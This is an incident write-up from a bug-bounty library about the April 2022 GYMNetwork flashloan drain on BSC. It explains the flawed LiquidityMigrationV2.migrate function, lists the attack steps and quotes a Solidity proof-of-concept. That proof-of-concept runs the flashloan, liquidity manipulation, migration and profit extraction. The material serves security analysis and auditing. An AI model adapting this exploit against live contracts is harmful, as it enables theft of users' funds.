# GYMNetwork: migrate flaw enables flashloan drain

GYMNetwork's LiquidityMigrationV2.migrate flaw let an attacker flashloan WBNB, add liquidity, migrate, and drain funds via PancakeSwap.

- Payout: Real-world hack
- Severity: high
- Program: GYMNetwork
- Analysis by: DeFiHackLabs
- Disclosed: 2022-04-09
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-04/Gym_1_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220409-gym-1
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm technique:chained vuln:business-logic vuln:flash-loan

**Target:** LiquidityMigrationV2 contract on BSC
**Root cause:** The migrate function in LiquidityMigrationV2 incorrectly handles liquidity migration, allowing an attacker to manipulate the process and extract value.
**Steps:**
1. Flashloan 2400 WBNB from PancakeSwap WBNB-BUSD pair via `swap(2400e18, 0, address(this), new bytes(1))`.
2. In pancakeCall, swap 600 WBNB for GYM tokens using `swapExactTokensForTokensSupportingFeeOnTransferTokens`.
3. Add liquidity to WBNB-GYM pair with all WBNB and GYMNET balance of LiquidityMigrationV2 via `addLiquidity`.
4. Call `liquidityMigrationV2.migrate(wbnbGymPair.balanceOf(address(this)))` to migrate liquidity.
5. Remove liquidity from WBNB-GYMNET pair via `removeLiquidityETHSupportingFeeOnTransferTokens`.
6. Convert remaining ETH to WBNB via `wbnb.deposit`.
7. Swap GYM and GYMNET tokens back to WBNB.
8. Repay flashloan with `wbnb.transfer(msg.sender, ((amount0 / 9975) * 10_000) + 10_000)` and transfer profit to tx.origin.
**Exploitation:** Attacker flashloans WBNB, swaps for GYM, adds liquidity, calls migrate to exploit flawed migration logic, removes liquidity, and swaps back to WBNB for profit.
**Insight:** Examine migration functions for improper handling of liquidity tokens or state that allows manipulation via flashloans and token swaps.

## Proof of concept (copied exactly from the original report)

**Flashloan swap triggering pancakeCall exploit**

```
wbnbBusdPair.swap(2400e18, 0, address(this), new bytes(1));
        emit log_named_uint("After exploit, USDC  balance of attacker:", wbnb.balanceOf(msg.sender));
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        address[] memory path = new address[](2);
        path[0] = address(wbnb);
        path[1] = address(gym);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            600e18, 0, path, address(this), type(uint32).max
        );
        pancakeRouter.addLiquidity(
            address(wbnb),
            address(gym),
            wbnb.balanceOf(address(this)),
            gymnet.balanceOf(address(liquidityMigrationV2)),
            0,
            0,
            address(this),
            type(uint32).max
        );
        liquidityMigrationV2.migrate(wbnbGymPair.balanceOf(address(this)));
        pancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
            address(gymnet), wbnbGymnetPair.balanceOf(address(this)), 0, 0, address(this), type(uint32).max
        );
        wbnb.deposit{value: address(this).balance}();
        path[0] = address(gym);
        path[1] = address(wbnb);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            gym.balanceOf(address(this)), 0, path, address(this), type(uint32).max
        );
        path[0] = address(gymnet);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            gymnet.balanceOf(address(this)), 0, path, address(this), type(uint32).max
        );
        wbnb.transfer(msg.sender, ((amount0 / 9975) * 10_000) + 10_000);
        wbnb.transfer(tx.origin, wbnb.balanceOf(address(this)));
```

